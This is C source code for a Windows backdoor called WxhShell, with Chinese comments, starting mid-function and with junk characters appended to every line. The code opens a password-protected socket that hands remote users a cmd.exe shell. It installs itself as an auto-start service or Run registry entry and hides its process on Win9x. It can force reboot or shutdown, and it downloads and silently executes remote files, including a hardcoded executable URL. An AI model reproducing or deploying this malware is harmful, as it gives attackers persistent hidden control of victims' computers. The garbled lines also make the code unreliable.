    if(Boot(SHUTDOWN)) C`|'+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ((Bu Bu>  
    else { nx<q]J uv\  
    closesocket(wsh);  gB\ a  
    ExitThread(0); 0>jo+b\D$  
    } K>H_q@-?f  
    break; X2#;1 ku  
    } /mST<{(_G\  
  // 获取shell 4%5H<:V7  
  case 's': {  imE5 $;  
    CmdShell(wsh); lH_S*FDa  
    closesocket(wsh); ,$ICv+7]  
    ExitThread(0); <{\UE~  
    break; ^%|(dMo4  
  } cpV:y  
  // 退出 7QdU|1]  
  case 'x': { v5i?4?-Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =d_@k[8<0  
    CloseIt(wsh); 1zE_ SNx  
    break; (0%0+vY  
    } ?&Y3Fr)%  
  // 离开 |qra.\  
  case 'q': { IyE9G:fY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |0Kj0u8T  
    closesocket(wsh); Q!DQ!;Br6  
    WSACleanup(); m4:b?[  
    exit(1); F8 4LMk?U  
    break; :z=/z!5:j  
        } c9e  }P  
  } dO Y+| P\  
  } h[d|y_)f  
IQK__)  
  // 提示信息 D_E^%Ea&`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K%h83tm+  
} A{hwT,zV:  
  } Gq5)>'D?  
>M7e'}0 ;  
  return; u(KeS`  
} i,/|H]Mzr  
KZV$rJ%G  
// shell模块句柄 cm]D"GFLY  
int CmdShell(SOCKET sock) l7 D/ ]&  
{ ?9q{b\=l  
STARTUPINFO si; z41 p $  
ZeroMemory(&si,sizeof(si)); gM|X":j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SJVqfi3A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &,':@OQ  
PROCESS_INFORMATION ProcessInfo; o?P(Fuf  
char cmdline[]="cmd"; Fs:l"5~>1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Jrlc%,pZ  
  return 0; BY: cSqAW  
} (,\`?g  
uC G^,BQ  
// 自身启动模式 %j=E}J<H5*  
int StartFromService(void) 2l+O|R  
{ >*A\/Da]j  
typedef struct La}=Ng  
{ 7<{Zq8)  
  DWORD ExitStatus; `xbk)oW#  
  DWORD PebBaseAddress; EAFKf*K=  
  DWORD AffinityMask; w&;\}IS  
  DWORD BasePriority; Ov%9S/d  
  ULONG UniqueProcessId; /B!"\0G/,  
  ULONG InheritedFromUniqueProcessId; \~nUk7.  
}   PROCESS_BASIC_INFORMATION; nLkC-+$tM  
$i@5'[jA  
PROCNTQSIP NtQueryInformationProcess; ?|^1-5l3  
;D]TPBE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (JFa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kYs2AzS{d  
hmkcW r`  
  HANDLE             hProcess; <2y~7h:  
  PROCESS_BASIC_INFORMATION pbi; FQi"OZHq  
;BoeE3* 6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e,I-u'mLQs  
  if(NULL == hInst ) return 0; M:?eK [h  
M 0->  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |6\ ?"#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _}Jz_RS2`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B7t#H?  
%{/0K<M  
  if (!NtQueryInformationProcess) return 0; ' 7>}I{Lq  
=]7|*-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]5td,2E C  
  if(!hProcess) return 0; wr*A%:  
/H^bDUC :r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q}]:lmqH  
3v:RLnB  
  CloseHandle(hProcess); ]-{T-*h:  
-$WiB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); txr!3-Ne'!  
if(hProcess==NULL) return 0; \@OKB<ra  
zy@ #R;  
HMODULE hMod; & A9psc(,&  
char procName[255]; 6?}8z q[  
unsigned long cbNeeded; R|NmkqTK~(  
bz H5Lc{%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2~h)'n7Mw  
x)#k$ QU  
  CloseHandle(hProcess); }9P)<[>  
U$VTk  
if(strstr(procName,"services")) return 1; // 以服务启动 ;?inf`t  
uK(+WA  
  return 0; // 注册表启动 & PHHacp  
} E_?3<)l)RI  
Q;r 0#"  
// 主模块 7F?^gMi  
int StartWxhshell(LPSTR lpCmdLine) ; @Gm@d  
{ &$hfAG]"  
  SOCKET wsl; :CHCVoh@95  
BOOL val=TRUE; [W{`L_"  
  int port=0; x+yt| &B  
  struct sockaddr_in door; Q'~;RE%T  
"@` mPe/  
  if(wscfg.ws_autoins) Install(); >YoK?e6  
u# =N8  
port=atoi(lpCmdLine); IRo[|&c  
0]>p|m9K^<  
if(port<=0) port=wscfg.ws_port; V^L;Nw5h  
HdWghxz?)  
  WSADATA data; =#%e'\)a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aKCCFHq t!  
WlZ[9,:p1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    ^r ;}6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o}WbW }&  
  door.sin_family = AF_INET; 3L>V-RPiM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^@X =v`C  
  door.sin_port = htons(port); N@)4H2_u \  
Pn7oQA\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]iLfe&f  
closesocket(wsl); Iob o5B  
return 1; _,F wt  
} >>^c_0"O  
oF ,8j1  
  if(listen(wsl,2) == INVALID_SOCKET) { (:T~*7/"  
closesocket(wsl); ={maCYlE.  
return 1; =Z-.4\3  
} i-E&Y*\^9H  
  Wxhshell(wsl); )J#@L*  
  WSACleanup(); 62vz 'b  
JI\u -+BE  
return 0; vgE5(fJh  
PI0/=kS  
} fvNGGn!  
m@HU;J\I  
// 以NT服务方式启动 XTW/3pB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y'pG'"U]_  
{ U?|s/U  
DWORD   status = 0; (Z`Y   
  DWORD   specificError = 0xfffffff; N;[w`d'#  
+}9%Duim  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yxA0#6so  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <j,7Z>Rk\x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OgfQGGc  
  serviceStatus.dwWin32ExitCode     = 0; E) z g,7Y  
  serviceStatus.dwServiceSpecificExitCode = 0; RNvtgZ}k{X  
  serviceStatus.dwCheckPoint       = 0; de ](l687I  
  serviceStatus.dwWaitHint       = 0;  pd X9G  
dwx1 EdJ{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9,,v 0tE  
  if (hServiceStatusHandle==0) return; TvdmgVNP  
.WG@"2z|  
status = GetLastError(); Hh!x&;x}  
  if (status!=NO_ERROR) o_G.J4 V  
{ T,?^J-h^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dd4yS}yBlR  
    serviceStatus.dwCheckPoint       = 0; PS=crU@"H  
    serviceStatus.dwWaitHint       = 0; r&ToUU 5  
    serviceStatus.dwWin32ExitCode     = status; F1Z20)8K  
    serviceStatus.dwServiceSpecificExitCode = specificError; e[e2X<&0RT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &aHj;Z(  
    return; HmX (= Y  
  } ;UPw;'  
_&w!JzpXT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1uy+'2[Z-D  
  serviceStatus.dwCheckPoint       = 0; <<;j=Yy({`  
  serviceStatus.dwWaitHint       = 0; Jge;/f!i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HVu_@[SYR3  
} )0d3sJ8  
QL\'pW5  
// 处理NT服务事件,比如:启动、停止 }){hQt7  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  ;\iQZ~   
{ lXz<jt@5  
switch(fdwControl) cIgFSwQ 4  
{ jJ?3z ,h  
case SERVICE_CONTROL_STOP: LQ{4r1,u]  
  serviceStatus.dwWin32ExitCode = 0; F` ?pZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Y'>3o21f  
  serviceStatus.dwCheckPoint   = 0; ((?^B  
  serviceStatus.dwWaitHint     = 0; ;wvV hQ  
  { #vS>^OyP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3d,|26I7f  
  } H<FDi{  
  return; l{y~N  
case SERVICE_CONTROL_PAUSE: %|,j'V$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; fk",YtS*  
  break; 7`WK1_rR\  
case SERVICE_CONTROL_CONTINUE: IPT}JX'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; St(7@)gvY  
  break; s}HTxY;  
case SERVICE_CONTROL_INTERROGATE: 8o4 vA,  
  break; v.Q)Obyn  
}; TAGqRYgi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &_-~kU1K^  
} 1P[!B[;c  
4s$))x9p  
// 标准应用程序主函数 da 2BQ;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !A<?nz Uv  
{ g\jdR_/  
>eU;lru2Q  
// 获取操作系统版本 XVI+Y  
OsIsNt=GetOsVer(); XE>XzsnC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +$<m;@mZ  
*?i~AXJm  
  // 从命令行安装 n ~ =]/  
  if(strpbrk(lpCmdLine,"iI")) Install(); n$~RgCf  
_|s{G  
  // 下载执行文件 2KPXRK  
if(wscfg.ws_downexe) { 8ztY_"]3p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &i!.6M2  
  WinExec(wscfg.ws_filenam,SW_HIDE); thq(tK7  
} zfxxPL'  
KD#ip3  
if(!OsIsNt) { \GPWC}V\s  
// 如果时win9x,隐藏进程并且设置为注册表启动 m$$U%=r>@  
HideProc(); naAZR*(A  
StartWxhshell(lpCmdLine); 2j_L jY'7  
} {cG&l:-r  
else 5qFqH  
  if(StartFromService()) >+G=|2  
  // 以服务方式启动 Z?^AX&F  
  StartServiceCtrlDispatcher(DispatchTable); cZHlW|$R  
else K@?S0KMK  
  // 普通方式启动 Z/2#h<zj  
  StartWxhshell(lpCmdLine); 6t@3 a?  
XfY]qQP  
return 0; E7 7Au;TL  
} G2em>W_n  
"\e9Y<  
XLOk+Fn  
3:76x  
=========================================== cvAkP2  
%7hYl'83  
aA\v  
|~uCLf>  
L-$GQGk{  
n!f @JHL  
" .Z9Bbab:  
%40|7 O  
#include <stdio.h> `XI1,&Wp7  
#include <string.h> 0] 5QX/I  
#include <windows.h> zR]l2zL3  
#include <winsock2.h> 38JvJR yK}  
#include <winsvc.h> 1k;X*r#  
#include <urlmon.h> J/)Q{*`_  
%"{SGp  
#pragma comment (lib, "Ws2_32.lib") h( Iti&  
#pragma comment (lib, "urlmon.lib") ZfIQ Fh>  
g9 g &]  
#define MAX_USER   100 // 最大客户端连接数 HQ4o^WC  
#define BUF_SOCK   200 // sock buffer Wny{qj)=  
#define KEY_BUFF   255 // 输入 buffer ?HU(0Vgn'  
?n[+0a:8E  
#define REBOOT     0   // 重启 UXe@c@3  
#define SHUTDOWN   1   // 关机 %/~Sq?f-9@  
&Tl3\T0D  
#define DEF_PORT   5000 // 监听端口 ;B!&( 50e  
[{'` |  
#define REG_LEN     16   // 注册表键长度 X $J  
#define SVC_LEN     80   // NT服务名长度 d+z8^$z"  
OCF= )#}qd  
// 从dll定义API a^|mF# z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0urQA_JC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fF<~2MiKw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4R}2H>VV%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z${DW@o3  
&(irri_  
// wxhshell配置信息 J4=~.&6  
struct WSCFG { %~G)xK?W*  
  int ws_port;         // 监听端口 Y+lZT4w  
  char ws_passstr[REG_LEN]; // 口令 _?mu2!X  
  int ws_autoins;       // 安装标记, 1=yes 0=no V\4'Hd  
  char ws_regname[REG_LEN]; // 注册表键名 'V } -0  
  char ws_svcname[REG_LEN]; // 服务名 3-z57f,}6~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o5A@U0c_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T&cf6soo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1XL^Zhr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MT}9T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }zj_Pp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?3"lI,!0  
rVkRU5  
}; sF f@>  
l g~Gkd6  
// default Wxhshell configuration -PoW56  
struct WSCFG wscfg={DEF_PORT, _-^a8F>/19  
    "xuhuanlingzhe", qgDd^0  
    1, j%Usui<DL  
    "Wxhshell", +<&_1% 5+  
    "Wxhshell", g \&Z_  
            "WxhShell Service", `l'z#\  
    "Wrsky Windows CmdShell Service", PA&Ev0`+  
    "Please Input Your Password: ", 1H{J T op  
  1, Jf9a<[CcV  
  "http://www.wrsky.com/wxhshell.exe", ={B%qq  
  "Wxhshell.exe" 9J$N5  
    }; lE'2\kxI?  
/*i[MB  
// 消息定义模块 ?s6v>#H%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?sk{(UN]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y2W|b5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xo a1='  
char *msg_ws_ext="\n\rExit."; #;z;8q  
char *msg_ws_end="\n\rQuit."; ACctyGd  
char *msg_ws_boot="\n\rReboot..."; eD 4X:^@  
char *msg_ws_poff="\n\rShutdown..."; Uyj6Ij_Pj)  
char *msg_ws_down="\n\rSave to "; Xq@Bzya  
<Y:{>=  
char *msg_ws_err="\n\rErr!"; _<qe= hie!  
char *msg_ws_ok="\n\rOK!"; #~BsI/m  
whxTCIV  
char ExeFile[MAX_PATH]; .J"QW~g^  
int nUser = 0; Uc^eIa@  
HANDLE handles[MAX_USER]; )%dxfwd6  
int OsIsNt; j 4!$[h  
x8 _f/2&  
SERVICE_STATUS       serviceStatus; L 4V,y>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ose(#n40  
nm Y_)s  
// 函数声明 nl5A{ s  
int Install(void); #oW" 3L{,  
int Uninstall(void); 0Ta&o-e  
int DownloadFile(char *sURL, SOCKET wsh); -n FKP&P  
int Boot(int flag); 9kHVWDf  
void HideProc(void); k<Qhw)M8  
int GetOsVer(void); {bHUZen  
int Wxhshell(SOCKET wsl); !K*(# [  
void TalkWithClient(void *cs); {7'Wi$^F  
int CmdShell(SOCKET sock); }IEwGoDwNs  
int StartFromService(void); =h0vdi%{  
int StartWxhshell(LPSTR lpCmdLine); :e /*5ix  
h! =h0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4a}[&zm(5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VK286[[fv  
@QteC@k  
// 数据结构和表定义 0v+ -yEkw  
SERVICE_TABLE_ENTRY DispatchTable[] = l0 =[MXM4  
{ }@x!r=O)I  
{wscfg.ws_svcname, NTServiceMain}, mX 3p   
{NULL, NULL} >m]LV}">O  
}; J?{@pA  
_NefzZWUJ  
// 自我安装 :aQ.:b(n  
int Install(void) Rjp7H  
{ %5RR<[_/;  
  char svExeFile[MAX_PATH]; VKV :U60  
  HKEY key; 1r$*8 |p  
  strcpy(svExeFile,ExeFile); bd]9 kRq1K  
4>A|2+K\  
// 如果是win9x系统,修改注册表设为自启动 ;3x*pjLG:Q  
if(!OsIsNt) { b:Z&;A|"{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A:y HClmn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3P@D!lV&K  
  RegCloseKey(key); 5skxixG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m ww<Xm'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vAp<Muj(a  
  RegCloseKey(key); <qg4Rz\c]  
  return 0;  J3`0i@  
    } :of(wZa3Q  
  } p8Z?R^$9H  
} sYjhQN=Y*  
else { 3xT9/8*  
.G.WPVE  
// 如果是NT以上系统,安装为系统服务 '2GnAws^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^/_Yk.w  
if (schSCManager!=0) /~M H]Gh  
{ o^XDG^35`  
  SC_HANDLE schService = CreateService &rGB58  
  ( KL9k9|!p  
  schSCManager, fIl;qGz85  
  wscfg.ws_svcname, ? D _kQl  
  wscfg.ws_svcdisp, w A\5-C7 j  
  SERVICE_ALL_ACCESS, z/u^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {`QA.he.  
  SERVICE_AUTO_START, W1 k]P.  
  SERVICE_ERROR_NORMAL, )adV`V%=>  
  svExeFile, q`,%L1c4  
  NULL, [Ur\^wS  
  NULL, Y{D%v  
  NULL, ~w a6S?  
  NULL, Z:dp/M}  
  NULL P#O2MiG  
  ); f(Y_<%  
  if (schService!=0) /a'1 W/^2  
  { h);^4cU  
  CloseServiceHandle(schService); M?!@L:b[  
  CloseServiceHandle(schSCManager); ^|H={pd'c0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y~fKLIoz"  
  strcat(svExeFile,wscfg.ws_svcname); w9{C"K?u=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fqhL"Ah   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +LF#XS@  
  RegCloseKey(key); _bGkJ=  
  return 0; E7t;p)x  
    } 3w</B- |nQ  
  } ;h\T7pwwb  
  CloseServiceHandle(schSCManager); ;xZjt4M1  
} HcgvlFb  
} =}vT>b  
"|h%Uy?XY  
return 1; C,An\lsT  
} nq)F$@  
z@yTkH_  
// 自我卸载 G@.MP| 2  
int Uninstall(void) x2rAB5r6  
{ < cvh1~>(  
  HKEY key; &)Xc'RQ.C  
Lm TFvZ  
if(!OsIsNt) { &^r>Q`u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OvtE)u l@  
  RegDeleteValue(key,wscfg.ws_regname); z Fo11;*D  
  RegCloseKey(key); f<NR6],}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f#= c=e-A  
  RegDeleteValue(key,wscfg.ws_regname); P.}d@qD{)  
  RegCloseKey(key); ?@ F2Kv  
  return 0; 3''S x8p  
  } ]1|P|Jp  
} maXg(Lu  
} d'RvpoM  
else { D7;9D*o\  
6RnzT d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 64<;6*  
if (schSCManager!=0) 8NWo)y49H  
{ pFvu,Q"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a YWWln  
  if (schService!=0) $VuXr=f}  
  { ){*+s RBW  
  if(DeleteService(schService)!=0) { "j@\a)a  
  CloseServiceHandle(schService); 5&ku]l+  
  CloseServiceHandle(schSCManager); "f,{d}u  
  return 0; "2l`XH  
  } @1MnJP  
  CloseServiceHandle(schService); "9wD|wsz  
  } Dwp,d~z  
  CloseServiceHandle(schSCManager); %{@Q7  
} 98>GHl'lM  
} T$I_nxh[)L  
Mfj82rHg  
return 1; 6qWUo3  
} zxbf h/=  
[={mCGU  
// 从指定url下载文件 FEaT}/h;  
int DownloadFile(char *sURL, SOCKET wsh) =l/6-j^  
{ # z|Q $  
  HRESULT hr; l3>S{  
char seps[]= "/"; \84t\jKR  
char *token; 9;E=w+  
char *file; yD7BZI xW  
char myURL[MAX_PATH]; ;-+q*@sa]  
char myFILE[MAX_PATH]; or/gx3  
1~5DIU^  
strcpy(myURL,sURL); qN $t_  
  token=strtok(myURL,seps); A&Y5z[p  
  while(token!=NULL) ;mkkaW,D*  
  { x HRSzYn$  
    file=token; ,`@pi@<"#  
  token=strtok(NULL,seps); 7?$?Yu  
  } j/FLEsU!R  
={qcDgn~C  
GetCurrentDirectory(MAX_PATH,myFILE); Zt`Tg7m  
strcat(myFILE, "\\"); 4:`D3  
strcat(myFILE, file); D 2X_Yv  
  send(wsh,myFILE,strlen(myFILE),0); xN1P#  
send(wsh,"...",3,0); JvpGxj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]~({;;3o-  
  if(hr==S_OK) m`/Nl<  
return 0; 9iA rBL"  
else rbZbj#  
return 1; @5Xo2}o-Q  
KdkA@>L!;  
} l8\UO<^fY  
\|]mClj#  
// 系统电源模块 C=: <[_m`  
int Boot(int flag) 2 !s&|lI  
{ %rzPh<>e  
  HANDLE hToken; T@ c~ql  
  TOKEN_PRIVILEGES tkp; kZ40a\9 Ye  
Zf'*pp T&q  
  if(OsIsNt) { RkF#NCnL;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >STtX6h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eS`VI+=@0  
    tkp.PrivilegeCount = 1; ]A*}Dem*5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TNX9Z)=>g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); at: li  
if(flag==REBOOT) { 3S^0%"fY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #z\ub5um  
  return 0; D|]BFu)F  
} H_+n_r*  
else { YuXJT*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MdHm%Vx  
  return 0; JU 9GJ"  
} 22gh!F%)  
  } uDf<D.+5Ze  
  else { #Y'eS'lv4  
if(flag==REBOOT) { U!wi;W2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,,H"?VO  
  return 0; :|S zD4Ag  
} A# {63_H  
else { 8>Cr6m   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K\Ea\b[  
  return 0; p_FM 2K7!  
} ]c.w+<  
} wQ}r/2n|^  
RBX<>*  
return 1; .E4* >@M5  
} IGlR,tw_/  
k]b*&.EY1  
// win9x进程隐藏模块 TdtV (  
void HideProc(void) -%nD'qy,.  
{ 18X@0e  
g3R(,IH  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^Q6J$"Tj  
  if ( hKernel != NULL ) N]<(cG&p  
  { vQAFgG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5KCB^`|b>t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nxLuzf4U5  
    FreeLibrary(hKernel); QV;o9j  
  } e+ xQ\LH  
Sj9fq*  
return; jr6_|(0 i6  
} $.G 7Vt  
Dl,QCZeM  
// 获取操作系统版本 9&6juL  
int GetOsVer(void) c}(WniR-"  
{ *@U{[J  
  OSVERSIONINFO winfo; K,b M9>}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3DU1c?M:  
  GetVersionEx(&winfo); Ndmt$(b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  Z>[7#;;  
  return 1; 2*#|t: (c  
  else f5jl$H.  
  return 0; +mQ5\14#  
} =L6#=7hcl  
Gp"GTPT{  
// 客户端句柄模块 ?J}Q&p.  
int Wxhshell(SOCKET wsl) c_lHj#A(l  
{ )>volP  
  SOCKET wsh; lj4Fg*/Yn  
  struct sockaddr_in client; v4$/LUJZp  
  DWORD myID; 5]xuU.w'  
)uPJ? 2S9  
  while(nUser<MAX_USER) S-Uod y  
{ NBikYxa  
  int nSize=sizeof(client); .~z'm$s1o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9shf y4?k  
  if(wsh==INVALID_SOCKET) return 1; ]WT@&F  
FG?Mc'r&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); la!]Y-s)'4  
if(handles[nUser]==0) 8@3K, [Mo  
  closesocket(wsh); sI ,!+  
else iD^,O)b  
  nUser++; Jt~Ivn,  
  } hI[} -  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3jmo[<p*x  
.@1+}0  
  return 0; -m@o\9Ic  
} h`[$ Bp  
.*O*@)}Ud  
// 关闭 socket L/3A g* ]  
void CloseIt(SOCKET wsh) B#sCB&(  
{ )6|L]'dsZ  
closesocket(wsh); qi-XNB`b  
nUser--; "oP^2|${  
ExitThread(0); z;OYPGvkw  
}  Rr) 5 [  
+WX/4_STV  
// 客户端请求句柄 }gp@0ri%5  
void TalkWithClient(void *cs) B(Sy.n  
{ WT *"V<Z  
R@e'=z[%1  
  SOCKET wsh=(SOCKET)cs; 8K%N7RL|  
  char pwd[SVC_LEN]; `~1!nfFD  
  char cmd[KEY_BUFF]; { U4!sJSl1  
char chr[1]; /dnwN7Gf  
int i,j; &kb`)F3nU  
"*g+qll!5d  
  while (nUser < MAX_USER) { X/_I2X  
AtT7~cVe  
if(wscfg.ws_passstr) { JsEJ6!1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N?GTfN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <-lM9}vd  
  //ZeroMemory(pwd,KEY_BUFF); STKL  
      i=0; 2TK \pfD  
  while(i<SVC_LEN) { %? ~'A59  
iP:i6U]  
  // 设置超时 |vI*S5kn6A  
  fd_set FdRead; QM$UxWo-  
  struct timeval TimeOut; ZOK!SBn^?  
  FD_ZERO(&FdRead); PyeNu3Il4  
  FD_SET(wsh,&FdRead); 6opin  
  TimeOut.tv_sec=8; D9rQ%|}S  
  TimeOut.tv_usec=0; 6BE,L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .i0K-B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kpOdyn(  
5LeZ ?'"c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *k?:k78L  
  pwd=chr[0];  01kRe  
  if(chr[0]==0xd || chr[0]==0xa) { rPxRGoR  
  pwd=0; _&KqmQ8$7  
  break; Im]@#X  
  } =H95?\}T[  
  i++; WtSs:D  
    } K#"=*p,  
r>mBe;[TX  
  // 如果是非法用户,关闭 socket u6iW1,#  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #^FM~5KK  
} b,!C8rJ  
!R{IEray  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JsaXI:%1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ':4cQ4Z  
?Y=aO(}=h  
while(1) { 1]xk:u4LA  
CEfqFn3^  
  ZeroMemory(cmd,KEY_BUFF); 8 $FH;=  
n Ja!&G&  
      // 自动支持客户端 telnet标准   r6<;bO(  
  j=0; S ?Zh#`(*  
  while(j<KEY_BUFF) { \PX4>/d@y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }D1x%L  
  cmd[j]=chr[0]; G?Et$r7:R  
  if(chr[0]==0xa || chr[0]==0xd) { `kKssU<  
  cmd[j]=0; w\C1Bh!  
  break; pwSgFc$z  
  } iUkUo x  
  j++; `IHP_IfR  
    } )W\)37=.  
I| TNo-!$  
  // 下载文件 $<*) 5|6  
  if(strstr(cmd,"http://")) { B4s$| i{D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2- iY:r  
  if(DownloadFile(cmd,wsh)) !$)reaS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HZrA}|:h  
  else J+D|/^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :UwBs  
  } c!w[)>v  
